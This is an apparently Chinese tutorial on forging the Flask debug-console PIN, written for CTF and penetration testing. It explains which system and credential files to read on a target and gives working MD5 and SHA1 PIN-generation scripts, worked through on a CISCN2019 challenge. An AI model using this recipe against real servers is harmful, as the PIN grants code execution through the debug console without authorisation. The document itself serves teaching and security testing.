Flask Pin码构造详解
字数 2429 2025-08-26 22:11:22
Flask Pin码构造详解
1. 背景介绍
Flask框架在开启debug模式时,会提供一个交互式调试控制台(/console),访问该控制台需要输入PIN码。这个PIN码由多个系统参数生成,了解其生成机制可以帮助我们在CTF比赛或渗透测试中利用这一特性。
2. PIN码生成参数
PIN码主要由六个参数构成,分为两组:
2.1 probably_public_bits (公开参数)
-
username: 运行当前程序的用户名
- 获取方式:通过
/etc/passwd文件读取 - 示例:
glzjin
- 获取方式:通过
-
modname: 当前对象的模块名
- 获取方式:取app对象的
__module__属性,不存在则取类的__module__属性 - 默认值:
flask.app
- 获取方式:取app对象的
-
getattr(app, "name", app.class.name): 当前对象的名称
- 获取方式:取app对象的
__name__属性,不存在则取类的__name__属性 - 默认值:
Flask
- 获取方式:取app对象的
-
getattr(mod, "file", None): flask包内app.py的绝对路径
- Python2:
app.pyc - Python3:
app.py - 默认路径:
/usr/local/lib/python{版本号}/site-packages/flask/app.py
- Python2:
2.2 private_bits (私有参数)
-
str(uuid.getnode()): 当前网卡的物理地址的整型
- 获取方式:
- 通过
/sys/class/net/eth0/address读取MAC地址 - 转换为整型:
int(MAC, 16)
- 通过
- 示例:
92:a0:2e:1e:8d:52→160881493234258
- 获取方式:
-
get_machine_id(): 机器ID
- 获取方式因系统而异:
2.2.1 Docker容器
- 读取
/proc/self/cgroup - 处理方式:
- 0.15.5之前:
value.strip().partition("/docker/")[2] - 0.16.0之后:
f.readline().strip().rpartition(b"/")[2]
- 0.15.5之前:
2.2.2 Linux系统
/etc/machine-id(固定)/proc/sys/kernel/random/boot_id(每次开机重新生成)
2.2.3 macOS系统
- 执行命令:
ioreg -c IOPlatformExpertDevice -d 2 - 提取"serial-number"部分:
"serial-number" = <{ID}>
2.2.4 Windows系统
- 读取注册表:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
3. PIN码生成算法
3.1 生成流程
- 将六个参数合并为一个列表
- 使用hashlib进行哈希计算
- 0.15.5之前:MD5
- 2.0.0之后:SHA1
- 将哈希结果转换为9位数字
- 按3-4-5或4-5分组格式显示
3.2 代码实现
import hashlib
from itertools import chain
def getMd5Pin(probably_public_bits, private_bits):
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
return rv
def getSha1Pin(probably_public_bits, private_bits):
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return rv
4. 历史版本变化
| 版本/日期 | 重要变更 |
|---|---|
| 2019-5-15之前 | 仅支持Linux/Mac/Windows系统,不考虑Docker |
| 2019-5-15 | 添加对Docker容器的machine-id获取支持 |
| 2019-7-17 (0.15.5) | 修改Docker容器的machine-id正则表达式 |
| 2020-1-5 | 调整容器ID获取顺序 |
| 2021-1-18 (2.0.0) | 将MD5加密方式改为SHA1 |
5. 实战应用示例
以CISCN2019华东南赛区web4题为例:
-
收集参数:
- username:
glzjin(从/etc/passwd获取) - modname:
flask.app(默认) - appname:
Flask(默认) - path:
/usr/local/lib/python2.7/site-packages/flask/app.pyc - MAC地址:
92:a0:2e:1e:8d:52→160881493234258 - machine-id:
0e5d30fa-26d7-42e1-a736-fc8a2e419c51(从/proc/sys/kernel/random/boot_id获取)
- username:
-
生成PIN码:
probably_public_bits = [ 'glzjin', 'flask.app', 'Flask', '/usr/local/lib/python2.7/site-packages/flask/app.pyc' ] private_bits = [ '160881493234258', '0e5d30fa-26d7-42e1-a736-fc8a2e419c51' ] print(getMd5Pin(probably_public_bits, private_bits)) -
访问调试控制台:
- 访问
/console - 输入生成的PIN码
- 访问
6. 总结要点
-
参数获取顺序:
- 0.15.5之前:
/etc/machine-id→/proc/sys/kernel/random/boot_id→ioreg→ 注册表 - 0.16.0之后:
/etc/machine-id→/proc/sys/kernel/random/boot_id→/proc/self/cgroup→ioreg→ 注册表
- 0.15.5之前:
-
加密方式:
- Python2: 绝大部分为MD5
- Python3: 少部分为MD5,大部分为SHA1
-
关键文件路径:
/etc/passwd- 用户名/sys/class/net/eth0/address- MAC地址/proc/self/cgroup- Docker容器ID/etc/machine-id- Linux机器ID/proc/sys/kernel/random/boot_id- Linux启动ID
-
调试技巧:
- 通过报错页面获取flask路径
- 使用脚本自动化生成PIN码
- 注意Python版本差异(pyc vs py)